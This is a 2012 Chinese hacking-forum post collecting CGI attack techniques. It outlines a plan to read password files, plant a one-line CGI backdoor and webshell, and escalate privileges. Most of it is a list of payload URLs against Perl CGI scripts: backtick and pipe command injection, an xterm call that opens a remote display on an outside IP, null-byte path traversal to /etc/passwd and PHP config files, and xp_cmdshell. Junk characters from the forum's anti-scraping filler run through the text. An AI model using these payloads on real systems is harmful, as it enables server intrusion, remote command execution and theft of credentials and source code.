找回密码
 立即注册
查看: 3497|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
* g( k' J$ l0 |; d! G! m; M' V5 Acookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
2 l  k6 ]9 i* S' u感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  5 D, Z2 \5 S3 r% s" @2 s8 _
注“  + f$ ^: t5 N+ ~% R9 _
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
( s- q' X) Y, Y- p$ Y7 d1 m以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  3 H& q  X+ [5 }$ q

: h. U* X6 h6 rhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
! W6 y. o% w5 j) u2 N2 }http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
( r, d! M$ M/ c  h* o* V% B1 X1 jhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  1 {/ P/ Z+ d' D
http://target.com/cgi-bin/home/news/sub.pl?`id`  
/ J- X& D2 h" k. A/ u. R* |8 H& A6 dhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`    J8 h" l# _0 o7 c+ o& L4 b
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
; r5 \% D2 O  @2 d  R! W7 e; R3 ^! Y! N: g, G
http://target.com/test.pl;ls|  5 B! |3 V- M, c) A2 F% A
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
& S# J5 [5 a' _' rhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
4 ]9 H" Y! g! P6 s+ D& d6 chttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
/ T; G/ D, k! t, F比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
% J2 |2 {, `% Ghttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
5 c6 z1 e8 J- N* k; ~0 j5 m+ v( m% s- f. b6 Q
http://target.com/test.pl?&........ /../../etc/passwd  ) W6 y( _. a, k, g9 |2 M" l' A) k6 Y

8 a! t& I8 ]* l# uhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  3 E% t" G. c$ `, @: l" [0 a
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
; L% P$ \6 `' h: I7 w9 l$ g' y2 Vhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
7 c8 k# Z7 \7 w8 A( j) ]7 x$ w& S2 F
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
: ~" v/ f% Q# uhttp://www.target.org/show.php?f ... ng/admin/global.php  7 `5 I: F2 G  o( X

* K) N) `+ p8 Q) W2 aemm和ps的一句话' {, X; e, C$ Z  I( g

3 n+ S& _$ T9 J  D% ihttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  1 Y- `8 R  R3 b* Y$ R' z0 }" ^
3 J0 [6 ?8 A. v- b/ i! t( V
>bbb%20|  
; @2 p7 g; E% T
, F& e2 E2 p6 B) L$ qhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  . ?0 W. C4 V: N* \2 l) o
4 x/ P. Y2 w+ q/ Q
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
0 E* O1 }/ g2 ~http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
' T, p+ J+ G7 k- @+ r% f  h5 ^5 H  k3 L2 k# z9 D2 n
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  & ]$ |/ V1 ^0 B' ?7 j% l8 o
http://target.com/index.html#cmd.exe  3 @" K' q0 _% {# q% [" \7 y
http://target.com/index.html?dummyparam=xp_cmdshell  
' Q( ]8 C* U. _5 d5 Z2 Llynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  4 u& P8 ]: b% j! k" ]' I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表